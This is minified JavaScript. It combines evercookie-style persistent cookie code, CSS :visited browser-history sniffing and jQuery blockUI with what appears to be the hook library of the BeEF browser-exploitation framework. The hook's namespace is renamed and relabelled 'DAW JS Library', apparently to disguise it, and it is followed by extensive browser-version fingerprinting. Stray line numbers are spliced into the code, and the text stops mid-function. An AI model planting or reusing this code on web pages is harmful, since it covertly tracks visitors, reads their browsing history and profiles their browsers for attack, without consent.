this.getFromStr(e,document.cookie);document.cookie=e+"=; expires=Mon, 20 Sep 2010 00:00:00 UTC; path=/",document.cookie=e+"="+t+"; expires=Tue, 31 Dec 2030 00:00:00 UTC; path=/"}catch(e){}},this.getFromStr=function(e,t){if("string"==typeof t)for(var n=e+"=",i=t.split(/[;&]/),o=0;o<i.length;o++){for(var r=i[o];" "==r.charAt(0);)r=r.substring(1,r.length);if(0==r.indexOf(n))return r.substring(n.length,r.length)}},this.getHost=function(){var e=document.location.host;return 0==e.indexOf("www.")&&(e=e.replace("www.","")),e},this.toHex=function(e){for(var t,n="",i=e.length,o=0;o<i;){for(t=e.charCodeAt(o++).toString(16);t.length<2;)t="0"+t;n+=t}return n},this.fromHex=function(e){for(var t,n="",i=e.length;i>=0;)t=i-2,n=String.fromCharCode("0x"+e.substring(t,i))+n,i=t;return n},this.hasVisited=function(e){if(-1==this.no_color){-1==this._getRGB("http://samy-was-here-this-should-never-be-visited.com",-1)&&(this.no_color=this._getRGB("http://samy-was-here-"+Math.floor(9999999*Math.random())+"rand.com"))}return 0==e.indexOf("https:")||0==e.indexOf("http:")?this._testURL(e,this.no_color):this._testURL("http://"+e,this.no_color)||this._testURL("https://"+e,this.no_color)||this._testURL("http://www."+e,this.no_color)||this._testURL("https://www."+e,this.no_color)};var _link=this.createElem("a","_ec_rgb_link"),created_style,_cssText="#_ec_rgb_link:visited{display:none;color:#FF0000}";try{created_style=1;var style=document.createElement("style");if(style.styleSheet)style.styleSheet.innerHTML=_cssText;else if(style.innerHTML)style.innerHTML=_cssText;else{var cssT=document.createTextNode(_cssText);style.appendChild(cssT)}}catch(e){created_style=0}this._getRGB=function(e,t){if(t&&0==created_style)return-1;_link.href=e,_link.innerHTML=e,document.body.appendChild(style),document.body.appendChild(_link);return document.defaultView?document.defaultView.getComputedStyle(_link,null).getPropertyValue("color"):_link.currentStyle.color},this._testURL=function(e,t){var n=this._getRGB(e);return"rgb(255, 0, 0)"==n||"#ff0000"==n?1:t&&n!=t?1:0}},_class}(),_global_isolated;if(function(){"use strict";function e(e){function t(t,i){var r,m,g=t==window,w=i&&i.message!==undefined?i.message:undefined;if(i=e.extend({},e.blockUI.defaults,i||{}),!i.ignoreIfBlocked||!e(t).data("blockUI.isBlocked")){if(i.overlayCSS=e.extend({},e.blockUI.defaults.overlayCSS,i.overlayCSS||{}),r=e.extend({},e.blockUI.defaults.css,i.css||{}),i.onOverlayClick&&(i.overlayCSS.cursor="pointer"),m=e.extend({},e.blockUI.defaults.themedCSS,i.themedCSS||{}),w=w===undefined?i.message:w,g&&p&&n(window,{fadeOut:0}),w&&"string"!=typeof w&&(w.parentNode||w.jquery)){var y=w.jquery?w[0]:w,v={};e(t).data("blockUI.history",v),v.el=y,v.parent=y.parentNode,v.display=y.style.display,v.position=y.style.position,v.parent&&v.parent.removeChild(y)}e(t).data("blockUI.onUnblock",i.onUnblock);var b,C,S,x,E=i.baseZ;b=e(d||i.forceIframe?'<iframe class="blockUI" style="z-index:'+E+++';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0" src="'+i.iframeSrc+'"></iframe>':'<div class="blockUI" style="display:none"></div>'),C=e(i.theme?'<div class="blockUI blockOverlay ui-widget-overlay" style="z-index:'+E+++';display:none"></div>':'<div class="blockUI blockOverlay" style="z-index:'+E+++';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>'),i.theme&&g?(x='<div class="blockUI '+i.blockMsgClass+' blockPage ui-dialog ui-widget ui-corner-all" style="z-index:'+(E+10)+';display:none;position:fixed">',i.title&&(x+='<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(i.title||" ")+"</div>"),x+='<div class="ui-widget-content ui-dialog-content"></div>',x+="</div>"):i.theme?(x='<div class="blockUI '+i.blockMsgClass+' blockElement ui-dialog ui-widget ui-corner-all" style="z-index:'+(E+10)+';display:none;position:absolute">',i.title&&(x+='<div class="ui-widget-header ui-dialog-titlebar ui-corner-all blockTitle">'+(i.title||" ")+"</div>"),x+='<div class="ui-widget-content ui-dialog-content"></div>',x+="</div>"):x=g?'<div class="blockUI '+i.blockMsgClass+' blockPage" style="z-index:'+(E+10)+';display:none;position:fixed"></div>':'<div class="blockUI '+i.blockMsgClass+' blockElement" style="z-index:'+(E+10)+';display:none;position:absolute"></div>',S=e(x),w&&(i.theme?(S.css(m),S.addClass("ui-widget-content")):S.css(r)),i.theme||C.css(i.overlayCSS),C.css("position",g?"fixed":"absolute"),(d||i.forceIframe)&&b.css("opacity",0);var k=[b,C,S],F=e(g?"body":t);e.each(k,function(){this.appendTo(F)}),i.theme&&i.draggable&&e.fn.draggable&&S.draggable({handle:".ui-dialog-titlebar",cancel:"li"});var T=h&&(!e.support.boxModel||e("object,embed",g?null:t).length>0);if(l||T){if(g&&i.allowBodyStretch&&e.support.boxModel&&e("html,body").css("height","100%"),(l||!e.support.boxModel)&&!g)var O=c(t,"borderTopWidth"),_=c(t,"borderLeftWidth"),A=O?"(0 - "+O+")":0,N=_?"(0 - "+_+")":0;e.each(k,function(e,t){var n=t[0].style;if(n.position="absolute",e<2)g?n.setExpression("height","Math.max(document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?0:"+i.quirksmodeOffsetHack+') + "px"'):n.setExpression("height",'this.parentNode.offsetHeight + "px"'),g?n.setExpression("width",'jQuery.support.boxModel && document.documentElement.clientWidth || document.body.clientWidth + "px"'):n.setExpression("width",'this.parentNode.offsetWidth + "px"'),N&&n.setExpression("left",N),A&&n.setExpression("top",A);else if(i.centerY)g&&n.setExpression("top",'(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) + (blah = document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "px"'),n.marginTop=0;else if(!i.centerY&&g){var o=i.css&&i.css.top?parseInt(i.css.top,10):0,r="((document.documentElement.scrollTop ? document.documentElement.scrollTop : document.body.scrollTop) + "+o+') + "px"';n.setExpression("top",r)}})}if(w&&(i.theme?S.find(".ui-widget-content").append(w):S.append(w),(w.jquery||w.nodeType)&&e(w).show()),(d||i.forceIframe)&&i.showOverlay&&b.show(),i.fadeIn){var j=i.onBlock?i.onBlock:u,D=i.showOverlay&&!w?j:u,I=w?j:u;i.showOverlay&&C._fadeIn(i.fadeIn,D),w&&S._fadeIn(i.fadeIn,I)}else i.showOverlay&&C.show(),w&&S.show(),i.onBlock&&i.onBlock.bind(S)();if(o(1,t,i),g?(p=S[0],f=e(i.focusableElements,p),i.focusInput&&setTimeout(a,20)):s(S[0],i.centerX,i.centerY),i.timeout){var P=setTimeout(function(){g?e.unblockUI(i):e(t).unblock(i)},i.timeout);e(t).data("blockUI.timeout",P)}}}function n(t,n){var r,a=t==window,s=e(t),c=s.data("blockUI.history"),u=s.data("blockUI.timeout");u&&(clearTimeout(u),s.removeData("blockUI.timeout")),n=e.extend({},e.blockUI.defaults,n||{}),o(0,t,n),null===n.onUnblock&&(n.onUnblock=s.data("blockUI.onUnblock"),s.removeData("blockUI.onUnblock"));var d;d=a?e("body").children().filter(".blockUI").add("body > .blockUI"):s.find(">.blockUI"),n.cursorReset&&(d.length>1&&(d[1].style.cursor=n.cursorReset),d.length>2&&(d[2].style.cursor=n.cursorReset)),a&&(p=f=null),n.fadeOut?(r=d.length,d.stop().fadeOut(n.fadeOut,function(){0==--r&&i(d,c,n,t)})):i(d,c,n,t)}function i(t,n,i,o){var r=e(o);if(!r.data("blockUI.isBlocked")){t.each(function(){this.parentNode&&this.parentNode.removeChild(this)}),n&&n.el&&(n.el.style.display=n.display,n.el.style.position=n.position,n.el.style.cursor="default",n.parent&&n.parent.appendChild(n.el),r.removeData("blockUI.history")),r.data("blockUI.static")&&r.css("position","static"),"function"==typeof i.onUnblock&&i.onUnblock(o,i);var a=e(document.body),s=a.width(),c=a[0].style.width;a.width(s-1).width(s),a[0].style.width=c}}function o(t,n,i){var o=n==window,a=e(n);if((t||(!o||p)&&(o||a.data("blockUI.isBlocked")))&&(a.data("blockUI.isBlocked",t),o&&i.bindEvents&&(!t||i.showOverlay))){var s="mousedown mouseup keydown keypress keyup touchstart touchend touchmove";t?e(document).bind(s,i,r):e(document).unbind(s,r)}}function r(t){if("keydown"===t.type&&t.keyCode&&9==t.keyCode&&p&&t.data.constrainTabKey){var n=f,i=!t.shiftKey&&t.target===n[n.length-1],o=t.shiftKey&&t.target===n[0];if(i||o)return setTimeout(function(){a(o)},10),!1}var r=t.data,s=e(t.target);return s.hasClass("blockOverlay")&&r.onOverlayClick&&r.onOverlayClick(t),s.parents("div."+r.blockMsgClass).length>0||0===s.parents().children().filter("div.blockUI").length}function a(e){if(f){var t=f[!0===e?f.length-1:0];t&&t.focus()}}function s(e,t,n){var i=e.parentNode,o=e.style,r=(i.offsetWidth-e.offsetWidth)/2-c(i,"borderLeftWidth"),a=(i.offsetHeight-e.offsetHeight)/2-c(i,"borderTopWidth");t&&(o.left=r>0?r+"px":"0"),n&&(o.top=a>0?a+"px":"0")}function c(t,n){return parseInt(e.css(t,n),10)||0}e.fn._fadeIn=e.fn.fadeIn;var u=e.noop||function(){},d=/MSIE/.test(navigator.userAgent),l=/MSIE 6.0/.test(navigator.userAgent)&&!/MSIE 8.0/.test(navigator.userAgent),h=(document.documentMode,e.isFunction(document.createElement("div").style.setExpression));e.blockUI=function(e){t(window,e)},e.unblockUI=function(e){n(window,e)},e.growlUI=function(t,n,i,o){var r=e('<div class="growlUI"></div>');t&&r.append("<h1>"+t+"</h1>"),n&&r.append("<h2>"+n+"</h2>"),i===undefined&&(i=3e3);var a=function(t){t=t||{},e.blockUI({message:r,fadeIn:"undefined"!=typeof t.fadeIn?t.fadeIn:700,fadeOut:"undefined"!=typeof t.fadeOut?t.fadeOut:1e3,timeout:"undefined"!=typeof t.timeout?t.timeout:i,centerY:!1,showOverlay:!1,onUnblock:o,css:e.blockUI.defaults.growlCSS})};a();r.css("opacity");r.mouseover(function(){a({fadeIn:0,timeout:3e4});var t=e(".blockMsg");t.stop(),t.fadeTo(300,1)}).mouseout(function(){e(".blockMsg").fadeOut(1e3)})},e.fn.block=function(n){if(this[0]===window)return e.blockUI(n),this;var i=e.extend({},e.blockUI.defaults,n||{});return this.each(function(){var t=e(this);i.ignoreIfBlocked&&t.data("blockUI.isBlocked")||t.unblock({fadeOut:0})}),this.each(function(){"static"==e.css(this,"position")&&(this.style.position="relative",e(this).data("blockUI.static",!0)),this.style.zoom=1,t(this,n)})},e.fn.unblock=function(t){return this[0]===window?(e.unblockUI(t),this):this.each(function(){n(this,t)})},e.blockUI.version=2.7,e.blockUI.defaults={message:"<h1>Please wait...</h1>",title:null,draggable:!0,theme:!1,css:{padding:0,margin:0,width:"30%",top:"40%",left:"35%",textAlign:"center",color:"#000",border:"3px solid #aaa",backgroundColor:"#fff",cursor:"wait"},themedCSS:{width:"30%",top:"40%",left:"35%"},overlayCSS:{backgroundColor:"#000",opacity:.6,cursor:"wait"},cursorReset:"default",growlCSS:{width:"350px",top:"10px",left:"",right:"10px",border:"none",padding:"5px",opacity:.6,cursor:"default",color:"#fff",backgroundColor:"#000","-webkit-border-radius":"10px","-moz-border-radius":"10px","border-radius":"10px"},iframeSrc:/^https/i.test(window.location.href||"")?"javascript:false":"about:blank",forceIframe:!1,baseZ:1e3,centerX:!0,centerY:!0,allowBodyStretch:!0,bindEvents:!0,constrainTabKey:!0,fadeIn:200,fadeOut:400,timeout:0,showOverlay:!0,focusInput:!0,focusableElements:":input:enabled:visible",onBlock:null,onUnblock:null,onOverlayClick:null,quirksmodeOffsetHack:4,blockMsgClass:"blockMsg",ignoreIfBlocked:!1};var p=null,f=[]}"function"==typeof define&&define.amd&&define.amd.jQuery?define(["jquery"],e):e(jQuery)}(),
1049// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1050/*!
1051 * DAW JS Library 0.4.6.1-alpha
1052 * Register the DAW JS on the window object.
1053 */
1054$j=jQuery.noConflict(),"undefined"==typeof mnE&&"undefined"==typeof window.mnE){var DmYJS={version:"0.4.6.1-alpha",pageIsLoaded:!1,onpopstate:new Array,onclose:new Array,commands:new Array,components:new Array,debug:function(){},execute:function(e){"undefined"==typeof mnE.websocket?this.commands.push(e):e()},regCmp:function(e){this.components.push(e)}};window.mnE=DmYJS}
1055// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
1056mnE.browser={getBrowserReportedName:function(){return navigator.userAgent},isA:function(){return null!=window.navigator.userAgent.match(/Avant TriCore/)},isI:function(){return null!=window.navigator.userAgent.match(/Iceweasel\/\d+\.\d/)},isIE6:function(){return!window.XMLHttpRequest&&!window.globalStorage},isIE7:function(){return!(!window.XMLHttpRequest||window.chrome||window.opera||window.getComputedStyle||window.globalStorage||document.documentMode)},isIE8:function(){return!(!window.XMLHttpRequest||window.chrome||window.opera||!document.documentMode||!window.XDomainRequest||window.performance)},isIE9:function(){return!(!window.XMLHttpRequest||window.chrome||window.opera||!document.documentMode||window.XDomainRequest||!window.performance||"undefined"!=typeof navigator.msMaxTouchPoints)},isIE10:function(){return!(!window.XMLHttpRequest||window.chrome||window.opera||!document.documentMode||!window.XDomainRequest||!window.performance||"undefined"==typeof navigator.msMaxTouchPoints)},isIE11:function(){return!(!window.XMLHttpRequest||window.chrome||window.opera||!document.documentMode||!window.performance||"undefined"==typeof navigator.msMaxTouchPoints||"undefined"!=typeof document.selection||"undefined"!=typeof document.createStyleSheet||"undefined"!=typeof window.createPopup||"undefined"!=typeof window.XDomainRequest)},isIE:function(){return this.isIE6()||this.isIE7()||this.isIE8()||this.isIE9()||this.isIE10()||this.isIE11()},isFF2:function(){return!!window.globalStorage&&!window.postMessage},isFF3:function(){return!!window.globalStorage&&!!window.postMessage&&!JSON.parse},isFF3_5:function(){return!!window.globalStorage&&!!JSON.parse&&!window.FileReader},isFF3_6:function(){return!(!window.globalStorage||!window.FileReader||window.multitouchData||window.history.replaceState)},isFF4:function(){return!!window.globalStorage&&!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/4\./)},isFF5:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/5\./)},isFF6:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/6\./)},isFF7:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/7\./)},isFF8:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/8\./)},isFF9:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/9\./)},isFF10:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/10\./)},isFF11:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/11\./)},isFF12:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/12\./)},isFF13:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/13\./)},isFF14:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/14\./)},isFF15:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/15\./)},isFF16:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/16\./)},isFF17:function(){return!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/17\./)},isFF18:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&null!=window.navigator.userAgent.match(/Firefox\/18\./)},isFF19:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&null!=window.navigator.userAgent.match(/Firefox\/19\./)},isFF20:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&null!=window.navigator.userAgent.match(/Firefox\/20\./)},isFF21:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&null!=window.navigator.userAgent.match(/Firefox\/21\./)},isFF22:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&null!=window.navigator.userAgent.match(/Firefox\/22\./)},isFF23:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&null!=window.navigator.userAgent.match(/Firefox\/23\./)},isFF24:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&null!=window.navigator.userAgent.match(/Firefox\/24\./)},isFF25:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&null!=window.navigator.userAgent.match(/Firefox\/25\./)},isFF26:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&null!=window.navigator.userAgent.match(/Firefox\/26./)},isFF27:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&null!=window.navigator.userAgent.match(/Firefox\/27./)},isFF28:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"!=typeof String.prototype.codePointAt&&null!=window.navigator.userAgent.match(/Firefox\/28./)},isFF29:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&null!=window.navigator.userAgent.match(/Firefox\/29./)},isFF30:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&null!=window.navigator.userAgent.match(/Firefox\/30./)},isFF31:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&null!=window.navigator.userAgent.match(/Firefox\/31./)},isFF32:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/32./)},isFF33:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/33./)},isFF34:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/34./)},isFF35:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/35./)},isFF36:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/36./)},isFF37:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/37./)},isFF38:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/38./)},isFF39:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/39./)},isFF40:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/40./)},isFF41:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/41./)},isFF42:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/42./)},isFF43:function(){return!!window.devicePixelRatio&&!!window.history.replaceState&&"undefined"!=typeof navigator.mozGetUserMedia&&"undefined"!=typeof window.crypto&&"undefined"!=typeof window.crypto.getRandomValues&&"function"==typeof Math.hypot&&"function"==typeof String.prototype.codePointAt&&"function"==typeof Number.isSafeInteger&&null!=window.navigator.userAgent.match(/Firefox\/43./)},isFF:function(){return this.isFF2()||this.isFF3()||this.isFF3_5()||this.isFF3_6()||this.isFF4()||this.isFF5()||this.isFF6()||this.isFF7()||this.isFF8()||this.isFF9()||this.isFF10()||this.isFF11()||this.isFF12()||this.isFF13()||this.isFF14()||this.isFF15()||this.isFF16()||this.isFF17()||this.isFF18()||this.isFF19()||this.isFF20()||this.isFF21()||this.isFF22()||this.isFF23()||this.isFF24()||this.isFF25()||this.isFF26()||this.isFF27()||this.isFF28()||this.isFF29()||this.isFF30()||this.isFF31()||this.isFF32()||this.isFF33()||this.isFF34()||this.isFF35()||this.isFF36()||this.isFF37()||this.isFF38()||this.isFF39()||this.isFF40()||this.isFF41()||this.isFF42()||this.isFF43()},isS4:function(){return!(null==window.navigator.userAgent.match(/ Version\/4\.\d/)||null==window.navigator.userAgent.match(/Safari\/\d/)||window.globalStorage||!window.getComputedStyle||window.opera||window.chrome||"MozWebSocket"in window)},isS5:function(){return!(null==window.navigator.userAgent.match(/ Version\/5\.\d/)||null==window.navigator.userAgent.match(/Safari\/\d/)||window.globalStorage||!window.getComputedStyle||window.opera||window.chrome||"MozWebSocket"in window)},isS6:function(){return!(null==window.navigator.userAgent.match(/ Version\/6\.\d/)||null==window.navigator.userAgent.match(/Safari\/\d/)||window.globalStorage||!window.getComputedStyle||window.opera||window.chrome||"MozWebSocket"in window)},isS7:function(){return!(null==window.navigator.userAgent.match(/ Version\/7\.\d/)||null==window.navigator.userAgent.match(/Safari\/\d/)||window.globalStorage||!window.getComputedStyle||window.opera||window.chrome||"MozWebSocket"in window)},isS8:function(){return!(null==window.navigator.userAgent.match(/ Version\/8\.\d/)||null==window.navigator.userAgent.match(/Safari\/\d/)||window.globalStorage||!window.getComputedStyle||window.opera||window.chrome||"MozWebSocket"in window)},isS:function(){return this.isS4()||this.isS5()||this.isS6()||this.isS7()||this.isS8()},isC5:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&5==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC6:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&6==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC7:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&7==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC8:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&8==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC9:function(){return!!window.chrome&&!!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&9==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC10:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&10==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC11:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&11==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC12:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&12==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC13:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&13==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC14:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&14==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC15:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&15==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC16:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&16==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC17:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&17==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC18:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&18==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC19:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&19==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC19iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&19==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC20:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&20==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC20iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&20==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC21:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&21==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC21iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&21==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC22:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&22==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC22iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.match(/CriOS\/(\d+)\./)&&22==parseInt(window.navigator.appVersion.match(/CriOS\/(\d+)\./)[1],10)},isC23:function(){return!!window.chrome&&!window.webkitPerformance&&window.navigator.appVersion.match(/Chrome\/(\d+)\./)&&23==parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1],10)},isC23iOS:function(){return!window.webkitPerformance&&window.navigator.appVersion.mat